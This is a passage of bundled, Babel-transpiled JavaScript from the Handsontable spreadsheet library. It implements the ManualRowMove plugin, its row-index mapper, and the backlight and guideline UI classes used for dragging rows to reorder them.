_iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('beforeRowMove'); _pluginHooks.default.getSingleton().register('afterRowMove'); _pluginHooks.default.getSingleton().register('unmodifyRow'); var privatePool = new WeakMap(); var CSS_PLUGIN = 'ht__manualRowMove'; var CSS_SHOW_UI = 'show-ui'; var CSS_ON_MOVING = 'on-moving--rows'; var CSS_AFTER_SELECTION = 'after-selection--rows'; /** * @plugin ManualRowMove * * @description * This plugin allows to change rows order. To make rows order persistent the {@link Options#persistentState} * plugin should be enabled. * * API: * - moveRow - move single row to the new position. * - moveRows - move many rows (as an array of indexes) to the new position. * * If you want apply visual changes, you have to call manually the render() method on the instance of handsontable. * * The plugin creates additional components to make moving possibly using user interface: * - backlight - highlight of selected rows. * - guideline - line which shows where rows has been moved. * * @class ManualRowMove * @plugin ManualRowMove */ var ManualRowMove = /*#__PURE__*/ function (_BasePlugin) { _inherits(ManualRowMove, _BasePlugin); function ManualRowMove(hotInstance) { var _this; _classCallCheck(this, ManualRowMove); _this = _possibleConstructorReturn(this, _getPrototypeOf(ManualRowMove).call(this, hotInstance)); /** * Set up WeakMap of plugin to sharing private parameters; */ privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { rowsToMove: [], pressed: void 0, disallowMoving: void 0, target: { eventPageY: void 0, coords: void 0, TD: void 0, row: void 0 } }); /** * List of last removed row indexes. * * @private * @type {Array} */ _this.removedRows = []; /** * Object containing visual row indexes mapped to data source indexes. * * @private * @type {RowsMapper} */ _this.rowsMapper = new _rowsMapper.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Event Manager object. * * @private * @type {Object} */ _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Backlight UI object. * * @private * @type {Object} */ _this.backlight = new _backlight.default(hotInstance); /** * Guideline UI object. * * @private * @type {Object} */ _this.guideline = new _guideline.default(hotInstance); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ManualRowMove#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ManualRowMove, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().manualRowMove; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('beforeOnCellMouseDown', function (event, coords, TD, blockCalculations) { return _this2.onBeforeOnCellMouseDown(event, coords, TD, blockCalculations); }); this.addHook('beforeOnCellMouseOver', function (event, coords, TD, blockCalculations) { return _this2.onBeforeOnCellMouseOver(event, coords, TD, blockCalculations); }); this.addHook('afterScrollHorizontally', function () { return _this2.onAfterScrollHorizontally(); }); this.addHook('modifyRow', function (row, source) { return _this2.onModifyRow(row, source); }); this.addHook('beforeRemoveRow', function (index, amount) { return _this2.onBeforeRemoveRow(index, amount); }); this.addHook('afterRemoveRow', function () { return _this2.onAfterRemoveRow(); }); this.addHook('afterCreateRow', function (index, amount) { return _this2.onAfterCreateRow(index, amount); }); this.addHook('afterLoadData', function () { return _this2.onAfterLoadData(); }); this.addHook('beforeColumnSort', function (column, order) { return _this2.onBeforeColumnSort(column, order); }); this.addHook('unmodifyRow', function (row) { return _this2.onUnmodifyRow(row); }); this.registerEvents(); // TODO: move adding plugin classname to BasePlugin. (0, _element.addClass)(this.hot.rootElement, CSS_PLUGIN); _get(_getPrototypeOf(ManualRowMove.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); this.onAfterPluginsInitialized(); _get(_getPrototypeOf(ManualRowMove.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { var pluginSettings = this.hot.getSettings().manualRowMove; if (Array.isArray(pluginSettings)) { this.rowsMapper.clearMap(); } (0, _element.removeClass)(this.hot.rootElement, CSS_PLUGIN); this.unregisterEvents(); this.backlight.destroy(); this.guideline.destroy(); _get(_getPrototypeOf(ManualRowMove.prototype), "disablePlugin", this).call(this); } /** * Moves a single row. * * @param {Number} row Visual row index to be moved. * @param {Number} target Visual row index being a target for the moved row. * @fires Hooks#beforeRowMove * @fires Hooks#afterRowMove */ }, { key: "moveRow", value: function moveRow(row, target) { this.moveRows([row], target); } /** * Moves a multiple rows. * * @param {Array} rows Array of visual row indexes to be moved. * @param {Number} target Visual row index being a target for the moved rows. * @fires Hooks#beforeRowMove * @fires Hooks#afterRowMove */ }, { key: "moveRows", value: function moveRows(rows, target) { var _this3 = this; var visualRows = _toConsumableArray(rows); var priv = privatePool.get(this); var beforeMoveHook = this.hot.runHooks('beforeRowMove', visualRows, target); priv.disallowMoving = beforeMoveHook === false; if (!priv.disallowMoving) { // first we need to rewrite an visual indexes to physical for save reference after move (0, _array.arrayEach)(rows, function (row, index, array) { array[index] = _this3.rowsMapper.getValueByIndex(row); }); // next, when we have got an physical indexes, we can move rows (0, _array.arrayEach)(rows, function (row, index) { var actualPosition = _this3.rowsMapper.getIndexByValue(row); if (actualPosition !== target) { _this3.rowsMapper.moveRow(actualPosition, target + index); } }); // after moving we have to clear rowsMapper from null entries this.rowsMapper.clearNull(); } this.hot.runHooks('afterRowMove', visualRows, target); } /** * Correct the cell selection after the move action. Fired only when action was made with a mouse. * That means that changing the row order using the API won't correct the selection. * * @private * @param {Number} startRow Visual row index for the start of the selection. * @param {Number} endRow Visual row index for the end of the selection. */ }, { key: "changeSelection", value: function changeSelection(startRow, endRow) { this.hot.selectRows(startRow, endRow); } /** * Gets the sum of the heights of rows in the provided range. * * @private * @param {Number} from Visual row index. * @param {Number} to Visual row index. * @returns {Number} */ }, { key: "getRowsHeight", value: function getRowsHeight(from, to) { var height = 0; for (var i = from; i < to; i++) { var rowHeight = this.hot.view.wt.wtTable.getRowHeight(i) || 23; height += rowHeight; } return height; } /** * Loads initial settings when persistent state is saved or when plugin was initialized as an array. * * @private */ }, { key: "initialSettings", value: function initialSettings() { var pluginSettings = this.hot.getSettings().manualRowMove; if (Array.isArray(pluginSettings)) { this.moveRows(pluginSettings, 0); } else if (pluginSettings !== void 0) { var persistentState = this.persistentStateLoad(); if (persistentState.length) { this.moveRows(persistentState, 0); } } } /** * Checks if the provided row is in the fixedRowsTop section. * * @private * @param {Number} row Visual row index to check. * @returns {Boolean} */ }, { key: "isFixedRowTop", value: function isFixedRowTop(row) { return row < this.hot.getSettings().fixedRowsTop; } /** * Checks if the provided row is in the fixedRowsBottom section. * * @private * @param {Number} row Visual row index to check. * @returns {Boolean} */ }, { key: "isFixedRowBottom", value: function isFixedRowBottom(row) { return row > this.hot.getSettings().fixedRowsBottom; } /** * Saves the manual row positions to the persistent state (the {@link Options#persistentState} option has to be enabled). * * @fires Hooks#persistentStateSave * @fires Hooks#manualRowMove */ }, { key: "persistentStateSave", value: function persistentStateSave() { this.hot.runHooks('persistentStateSave', 'manualRowMove', this.rowsMapper._arrayMap); } /** * Loads the manual row positions from the persistent state (the {@link Options#persistentState} option has to be enabled). * * @returns {Array} Stored state. * * @fires Hooks#persistentStateLoad * @fires Hooks#manualRowMove */ }, { key: "persistentStateLoad", value: function persistentStateLoad() { var storedState = {}; this.hot.runHooks('persistentStateLoad', 'manualRowMove', storedState); return storedState.value ? storedState.value : []; } /** * Prepare array of indexes based on actual selection. * * @private * @returns {Array} */ }, { key: "prepareRowsToMoving", value: function prepareRowsToMoving() { var selection = this.hot.getSelectedRangeLast(); var selectedRows = []; if (!selection) { return selectedRows; } var from = selection.from, to = selection.to; var start = Math.min(from.row, to.row); var end = Math.max(from.row, to.row); (0, _number.rangeEach)(start, end, function (i) { selectedRows.push(i); }); return selectedRows; } /** * Update the UI visual position. * * @private */ }, { key: "refreshPositions", value: function refreshPositions() { var priv = privatePool.get(this); var coords = priv.target.coords; var firstVisible = this.hot.view.wt.wtTable.getFirstVisibleRow(); var lastVisible = this.hot.view.wt.wtTable.getLastVisibleRow(); var fixedRows = this.hot.getSettings().fixedRowsTop; var countRows = this.hot.countRows(); if (coords.row < fixedRows && firstVisible > 0) { this.hot.scrollViewportTo(firstVisible - 1); } if (coords.row >= lastVisible && lastVisible < countRows) { this.hot.scrollViewportTo(lastVisible + 1, undefined, true); } var wtTable = this.hot.view.wt.wtTable; var TD = priv.target.TD; var rootElementOffset = (0, _element.offset)(this.hot.rootElement); var tdOffsetTop = this.hot.view.THEAD.offsetHeight + this.getRowsHeight(0, coords.row); var mouseOffsetTop = priv.target.eventPageY - rootElementOffset.top + wtTable.holder.scrollTop; var hiderHeight = wtTable.hider.offsetHeight; var tbodyOffsetTop = wtTable.TBODY.offsetTop; var backlightElemMarginTop = this.backlight.getOffset().top; var backlightElemHeight = this.backlight.getSize().height; if (this.isFixedRowTop(coords.row)) { tdOffsetTop += wtTable.holder.scrollTop; } // todo: fixedRowsBottom // if (this.isFixedRowBottom(coords.row)) { // // } if (coords.row < 0) { // if hover on colHeader priv.target.row = firstVisible > 0 ? firstVisible - 1 : firstVisible; } else if (TD.offsetHeight / 2 + tdOffsetTop <= mouseOffsetTop) { // if hover on lower part of TD priv.target.row = coords.row + 1; // unfortunately first row is bigger than rest tdOffsetTop += coords.row === 0 ? TD.offsetHeight - 1 : TD.offsetHeight; } else { // elsewhere on table priv.target.row = coords.row; } var backlightTop = mouseOffsetTop; var guidelineTop = tdOffsetTop; if (mouseOffsetTop + backlightElemHeight + backlightElemMarginTop >= hiderHeight) { // prevent display backlight below table backlightTop = hiderHeight - backlightElemHeight - backlightElemMarginTop; } else if (mouseOffsetTop + backlightElemMarginTop < tbodyOffsetTop) { // prevent display above below table backlightTop = tbodyOffsetTop + Math.abs(backlightElemMarginTop); } if (tdOffsetTop >= hiderHeight - 1) { // prevent display guideline below table guidelineTop = hiderHeight - 1; } var topOverlayHeight = 0; if (this.hot.view.wt.wtOverlays.topOverlay) { topOverlayHeight = this.hot.view.wt.wtOverlays.topOverlay.clone.wtTable.TABLE.offsetHeight; } if (coords.row >= fixedRows && guidelineTop - wtTable.holder.scrollTop < topOverlayHeight) { this.hot.scrollViewportTo(coords.row); } this.backlight.setPosition(backlightTop); this.guideline.setPosition(guidelineTop); } /** * This method checks arrayMap from rowsMapper and updates the rowsMapper if it's necessary. * * @private */ }, { key: "updateRowsMapper", value: function updateRowsMapper() { var countRows = this.hot.countSourceRows(); var rowsMapperLen = this.rowsMapper._arrayMap.length; if (rowsMapperLen === 0) { this.rowsMapper.createMap(countRows || this.hot.getSettings().startRows); } else if (rowsMapperLen < countRows) { var diff = countRows - rowsMapperLen; this.rowsMapper.insertItems(rowsMapperLen, diff); } else if (rowsMapperLen > countRows) { var maxIndex = countRows - 1; var rowsToRemove = []; (0, _array.arrayEach)(this.rowsMapper._arrayMap, function (value, index) { if (value > maxIndex) { rowsToRemove.push(index); } }); this.rowsMapper.removeItems(rowsToRemove); } } /** * Binds the events used by the plugin. * * @private */ }, { key: "registerEvents", value: function registerEvents() { var _this4 = this; this.eventManager.addEventListener(document.documentElement, 'mousemove', function (event) { return _this4.onMouseMove(event); }); this.eventManager.addEventListener(document.documentElement, 'mouseup', function () { return _this4.onMouseUp(); }); } /** * Unbinds the events used by the plugin. * * @private */ }, { key: "unregisterEvents", value: function unregisterEvents() { this.eventManager.clear(); } /** * `beforeColumnSort` hook callback. If user uses the sorting, manual row moving is disabled. * * @private * @param {Number} column Column index where soring is present * @param {*} order State of sorting. ASC/DESC/None */ }, { key: "onBeforeColumnSort", value: function onBeforeColumnSort(column, order) { var priv = privatePool.get(this); priv.disallowMoving = order !== void 0; } /** * Changes the behavior of selection / dragging. * * @private * @param {MouseEvent} event * @param {CellCoords} coords Visual coordinates. * @param {HTMLElement} TD * @param {Object} blockCalculations */ }, { key: "onBeforeOnCellMouseDown", value: function onBeforeOnCellMouseDown(event, coords, TD, blockCalculations) { var wtTable = this.hot.view.wt.wtTable; var isHeaderSelection = this.hot.selection.isSelectedByRowHeader(); var selection = this.hot.getSelectedRangeLast(); var priv = privatePool.get(this); if (!selection || !isHeaderSelection || priv.pressed || event.button !== 0) { priv.pressed = false; priv.rowsToMove.length = 0; (0, _element.removeClass)(this.hot.rootElement, [CSS_ON_MOVING, CSS_SHOW_UI]); return; } var guidelineIsNotReady = this.guideline.isBuilt() && !this.guideline.isAppended(); var backlightIsNotReady = this.backlight.isBuilt() && !this.backlight.isAppended(); if (guidelineIsNotReady && backlightIsNotReady) { this.guideline.appendTo(wtTable.hider); this.backlight.appendTo(wtTable.hider); } var from = selection.from, to = selection.to; var start = Math.min(from.row, to.row); var end = Math.max(from.row, to.row); if (coords.col < 0 && coords.row >= start && coords.row <= end) { blockCalculations.row = true; priv.pressed = true; priv.target.eventPageY = event.pageY; priv.target.coords = coords; priv.target.TD = TD; priv.rowsToMove = this.prepareRowsToMoving(); var leftPos = wtTable.holder.scrollLeft + this.hot.view.wt.wtViewport.getRowHeaderWidth(); this.backlight.setPosition(null, leftPos); this.backlight.setSize(wtTable.hider.offsetWidth - leftPos, this.getRowsHeight(start, end + 1)); this.backlight.setOffset((this.getRowsHeight(start, coords.row) + event.layerY) * -1, null); (0, _element.addClass)(this.hot.rootElement, CSS_ON_MOVING); this.refreshPositions(); } else { (0, _element.removeClass)(this.hot.rootElement, CSS_AFTER_SELECTION); priv.pressed = false; priv.rowsToMove.length = 0; } } /** * 'mouseMove' event callback. Fired when pointer move on document.documentElement. * * @private * @param {MouseEvent} event `mousemove` event properties. */ }, { key: "onMouseMove", value: function onMouseMove(event) { var priv = privatePool.get(this); if (!priv.pressed) { return; } // callback for browser which doesn't supports CSS pointer-event: none if (event.realTarget === this.backlight.element) { var height = this.backlight.getSize().height; this.backlight.setSize(null, 0); setTimeout(function () { this.backlight.setPosition(null, height); }); } priv.target.eventPageY = event.pageY; this.refreshPositions(); } /** * 'beforeOnCellMouseOver' hook callback. Fired when pointer was over cell. * * @private * @param {MouseEvent} event `mouseover` event properties. * @param {CellCoords} coords Visual cell coordinates where was fired event. * @param {HTMLElement} TD Cell represented as HTMLElement. * @param {Object} blockCalculations Object which contains information about blockCalculation for row, column or cells. */ }, { key: "onBeforeOnCellMouseOver", value: function onBeforeOnCellMouseOver(event, coords, TD, blockCalculations) { var selectedRange = this.hot.getSelectedRangeLast(); var priv = privatePool.get(this); if (!selectedRange || !priv.pressed) { return; } if (priv.rowsToMove.indexOf(coords.row) > -1) { (0, _element.removeClass)(this.hot.rootElement, CSS_SHOW_UI); } else { (0, _element.addClass)(this.hot.rootElement, CSS_SHOW_UI); } blockCalculations.row = true; blockCalculations.column = true; blockCalculations.cell = true; priv.target.coords = coords; priv.target.TD = TD; } /** * `onMouseUp` hook callback. * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { var priv = privatePool.get(this); var target = priv.target.row; var rowsLen = priv.rowsToMove.length; priv.pressed = false; priv.backlightHeight = 0; (0, _element.removeClass)(this.hot.rootElement, [CSS_ON_MOVING, CSS_SHOW_UI, CSS_AFTER_SELECTION]); if (this.hot.selection.isSelectedByRowHeader()) { (0, _element.addClass)(this.hot.rootElement, CSS_AFTER_SELECTION); } if (rowsLen < 1 || target === void 0 || priv.rowsToMove.indexOf(target) > -1 || priv.rowsToMove[rowsLen - 1] === target - 1) { return; } this.moveRows(priv.rowsToMove, target); this.persistentStateSave(); this.hot.render(); if (!priv.disallowMoving) { var selectionStart = this.rowsMapper.getIndexByValue(priv.rowsToMove[0]); var selectionEnd = this.rowsMapper.getIndexByValue(priv.rowsToMove[rowsLen - 1]); this.changeSelection(selectionStart, selectionEnd); } priv.rowsToMove.length = 0; } /** * `afterScrollHorizontally` hook callback. Fired the table was scrolled horizontally. * * @private */ }, { key: "onAfterScrollHorizontally", value: function onAfterScrollHorizontally() { var wtTable = this.hot.view.wt.wtTable; var headerWidth = this.hot.view.wt.wtViewport.getRowHeaderWidth(); var scrollLeft = wtTable.holder.scrollLeft; var posLeft = headerWidth + scrollLeft; this.backlight.setPosition(null, posLeft); this.backlight.setSize(wtTable.hider.offsetWidth - posLeft); } /** * `afterCreateRow` hook callback. * * @private * @param {Number} index Visual index of the created row. * @param {Number} amount Amount of created rows. */ }, { key: "onAfterCreateRow", value: function onAfterCreateRow(index, amount) { this.rowsMapper.shiftItems(index, amount); } /** * On before remove row listener. * * @private * @param {Number} index Visual row index. * @param {Number} amount Defines how many rows removed. */ }, { key: "onBeforeRemoveRow", value: function onBeforeRemoveRow(index, amount) { var _this5 = this; this.removedRows.length = 0; if (index !== false) { // Collect physical row index. (0, _number.rangeEach)(index, index + amount - 1, function (removedIndex) { _this5.removedRows.push(_this5.hot.runHooks('modifyRow', removedIndex, _this5.pluginName)); }); } } /** * `afterRemoveRow` hook callback. * * @private */ }, { key: "onAfterRemoveRow", value: function onAfterRemoveRow() { this.rowsMapper.unshiftItems(this.removedRows); } /** * `afterLoadData` hook callback. * * @private */ }, { key: "onAfterLoadData", value: function onAfterLoadData() { this.updateRowsMapper(); } /** * 'modifyRow' hook callback. * * @private * @param {Number} row Visual Row index. * @returns {Number} Physical row index. */ }, { key: "onModifyRow", value: function onModifyRow(row, source) { var physicalRow = row; if (source !== this.pluginName) { var rowInMapper = this.rowsMapper.getValueByIndex(physicalRow); physicalRow = rowInMapper === null ? physicalRow : rowInMapper; } return physicalRow; } /** * 'unmodifyRow' hook callback. * * @private * @param {Number} row Physical row index. * @returns {Number} Visual row index. */ }, { key: "onUnmodifyRow", value: function onUnmodifyRow(row) { var indexInMapper = this.rowsMapper.getIndexByValue(row); return indexInMapper === null ? row : indexInMapper; } /** * `afterPluginsInitialized` hook callback. * * @private */ }, { key: "onAfterPluginsInitialized", value: function onAfterPluginsInitialized() { this.updateRowsMapper(); this.initialSettings(); this.backlight.build(); this.guideline.build(); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.backlight.destroy(); this.guideline.destroy(); this.rowsMapper.destroy(); _get(_getPrototypeOf(ManualRowMove.prototype), "destroy", this).call(this); } }]); return ManualRowMove; }(_base.default); (0, _plugins.registerPlugin)('ManualRowMove', ManualRowMove); var _default = ManualRowMove; exports.default = _default; /***/ }), /* 730 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _arrayMapper = _interopRequireDefault(__webpack_require__(125)); var _array = __webpack_require__(3); var _object = __webpack_require__(2); var _number = __webpack_require__(9); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class RowsMapper * @plugin ManualRowMove */ var RowsMapper = /*#__PURE__*/ function () { function RowsMapper(manualRowMove) { _classCallCheck(this, RowsMapper); /** * Instance of ManualRowMove plugin. * * @type {ManualRowMove} */ this.manualRowMove = manualRowMove; } /** * Reset current map array and create new one. * * @param {Number} [length] Custom generated map length. */ _createClass(RowsMapper, [{ key: "createMap", value: function createMap(length) { var _this = this; var originLength = length === void 0 ? this._arrayMap.length : length; this._arrayMap.length = 0; (0, _number.rangeEach)(originLength - 1, function (itemIndex) { _this._arrayMap[itemIndex] = itemIndex; }); } /** * Destroy class. */ }, { key: "destroy", value: function destroy() { this._arrayMap = null; } /** * * Moving elements in rowsMapper. * @param {Number} from Row index to move. * @param {Number} to Target index. */ }, { key: "moveRow", value: function moveRow(from, to) { var indexToMove = this._arrayMap[from]; this._arrayMap[from] = null; this._arrayMap.splice(to, 0, indexToMove); } /** * Clearing arrayMap from `null` entries. */ }, { key: "clearNull", value: function clearNull() { this._arrayMap = (0, _array.arrayFilter)(this._arrayMap, function (i) { return i !== null; }); } }]); return RowsMapper; }(); (0, _object.mixin)(RowsMapper, _arrayMapper.default); var _default = RowsMapper; exports.default = _default; /***/ }), /* 731 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(435)); var _element = __webpack_require__(1); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } var CSS_CLASSNAME = 'ht__manualRowMove--backlight'; /** * @class BacklightUI * @util */ var BacklightUI = /*#__PURE__*/ function (_BaseUI) { _inherits(BacklightUI, _BaseUI); function BacklightUI() { _classCallCheck(this, BacklightUI); return _possibleConstructorReturn(this, _getPrototypeOf(BacklightUI).apply(this, arguments)); } _createClass(BacklightUI, [{ key: "build", /** * Custom className on build process. */ value: function build() { _get(_getPrototypeOf(BacklightUI.prototype), "build", this).call(this); (0, _element.addClass)(this._element, CSS_CLASSNAME); } }]); return BacklightUI; }(_base.default); var _default = BacklightUI; exports.default = _default; /***/ }), /* 732 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(435)); var _element = __webpack_require__(1); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } var CSS_CLASSNAME = 'ht__manualRowMove--guideline'; /** * @class GuidelineUI * @util */ var GuidelineUI = /*#__PURE__*/ function (_BaseUI) { _inherits(GuidelineUI, _BaseUI); function GuidelineUI() { _classCallCheck(this, GuidelineUI); return _possibleConstructorReturn(this, _getPrototypeOf(GuidelineUI).apply(this, arguments)); } _createClass(GuidelineUI, [{ key: "build", /** * Custom className on build process. */ value: function build() { _get(_getPrototypeOf(GuidelineUI.prototype), "build", this).call(this); (0, _element.addClass)(this._element, CSS_CLASSNAME); } }]); return GuidelineUI; }(_base.default); var _default = GuidelineUI; exports.default = _default; /***/ }), /* 733 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 734 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _element = __webpack_require__(1); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _event = __webpack_require__(18); var _array = __webpack_require__(3); var _number = __webpack_require__(9); var _plugins = __webpack_require__(13); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function 